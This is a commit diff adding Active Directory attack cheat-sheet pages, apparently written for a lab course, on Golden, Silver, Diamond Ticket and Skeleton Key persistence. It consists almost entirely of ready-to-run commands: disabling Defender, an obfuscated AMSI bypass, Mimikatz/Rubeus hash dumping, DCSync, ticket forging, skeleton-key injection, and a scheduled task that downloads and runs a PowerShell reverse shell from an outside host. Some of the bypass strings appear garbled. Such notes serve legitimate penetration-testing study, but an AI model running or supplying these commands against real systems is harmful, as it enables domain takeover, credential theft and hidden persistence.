RFS-13: No subject

SUMMARY.md

@@ -33,6 +33,10 @@
 ## Domain Dominance & Persistence
 
 * [Description](domain-dominance-and-persistence/description.md)
+* [Silver Ticket](domain-dominance-and-persistence/silver-ticket.md)
+* [Golden Ticket](domain-dominance-and-persistence/golden-ticket.md)
+* [Skeleton Key](domain-dominance-and-persistence/skeleton-key.md)
+* [Diamond Ticket](domain-dominance-and-persistence/diamond-ticket.md)
 
 ## Cross Domain Attacks
 

domain-dominance-and-persistence/diamond-ticket.md

@@ -0,0 +1,15 @@
+# Diamond Ticket
+
+### Rubeus.exe
+
+#### We would still need krbtgt AES keys. Use the following Rubeus command to create a diamond ticket (note that RC4 or AES keys of the user can be used too)
+
+```
+Rubeus.exe diamond /krbkey:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5 /user:studentuserx /password:studentuserxpassword /enctype:aes /ticketuser:administrator /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
+```
+
+#### We could also use /tgtdeleg option in place of credentials in case we have access as a domain user
+
+```
+Rubeus.exe diamond /krbkey:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
+```

domain-dominance-and-persistence/golden-ticket.md

@@ -0,0 +1,65 @@
+# Golden Ticket
+
+## Invoke-Mimikatz
+
+### Disable Defender \[ Important ]
+
+```
+Set-MpPreference -DisableRealtimeMonitoring $true
+Set-MpPreference -DisableIOAVProtection $true
+```
+
+### AMSI bypass \[ Important ]
+
+```
+sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{O}"-F'F', 'rE' ) ) 3; ( GeT-VariaBle ( "1Q2U" + "zX" )  -VaL_s+)."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{@}{5}" -f'Util', 'A', 'Amsi','.Management.', 'utomation.','s', 'System' ))."g`etf`iE1D"( ( "{O}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{O}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
+
+S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
+```
+
+### Execute mimikatz on DC as DA to get krbtgt hash
+
+```
+Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
+```
+
+### Create a ticket on any machine \[ "pass the ticket" attack]
+
+```
+Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /krbtgt:a9b30e5bO0dc865eadcea941le4ade72d /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
+```
+
+### List Kerberos services available
+
+```
+klist
+```
+
+### To use the DCSync feature for getting krbtg hash execute the below command with DA privileges
+
+```
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
+```
+
+```
+Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the target DC
+```
+
+***
+
+## Binaries
+
+### Using SafetyKatz
+
+```
+C:\Users\Public\SafetyKatz.exe "lsadump::lsa /patch" "exit" 
+or
+C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"
+```
+
+### On a machine which can reach the DC over network (Need elevation):
+
+```
+C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /krbtgt:b0975ae49f441adc6b024ad238935af5 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
+```
+

domain-dominance-and-persistence/silver-ticket.md

@@ -0,0 +1,28 @@
+# Silver Ticket
+
+### Invoke-Mimikatz
+
+#### Execute mimikatz on DC as DA to get krbtgt hash
+
+```
+Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
+```
+
+#### Using hash of the Domain Controller computer account, below command provides access to shares on the DC
+
+```
+Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62FF22 /user:Administrator /ptt"'
+```
+
+```
+Similar command can be used for any other service on a machine.
+Which services? HOST, RPCSS, WSMAN and many more.
+```
+
+### Schedule and execute a task
+
+```
+schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.psi''')'"
+
+schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck"
+```

domain-dominance-and-persistence/skeleton-key.md

@@ -0,0 +1,31 @@
+# Skeleton Key
+
+### Invoke-Mimikatz
+
+#### Use the below command to inject a skeleton-Key
+
+```
+Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton' -ComputerName dcorp-dc.dollarcorp.moneycorp.local
+```
+
+```
+Skeleton Key password is : **mimikatz**
+```
+
+#### Now we can access any machine with valid username and password as mimikatz
+
+```
+Enter-PSSession -Computername dcorp-dc.dollarcorp.moneycorp.local -credential dcorp\Administrator
+```
+
+#### LSASS running as a protected process
+
+In case Lsass is running as a protected process, we can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of the target DC
+
+```
+mimikatz # privilege::debug
+mimikatz # !+
+mimikatz # !processprotect /process:lsass.exe /remove
+mimikatz # misc::skeleton
+mimikatz # !-
+```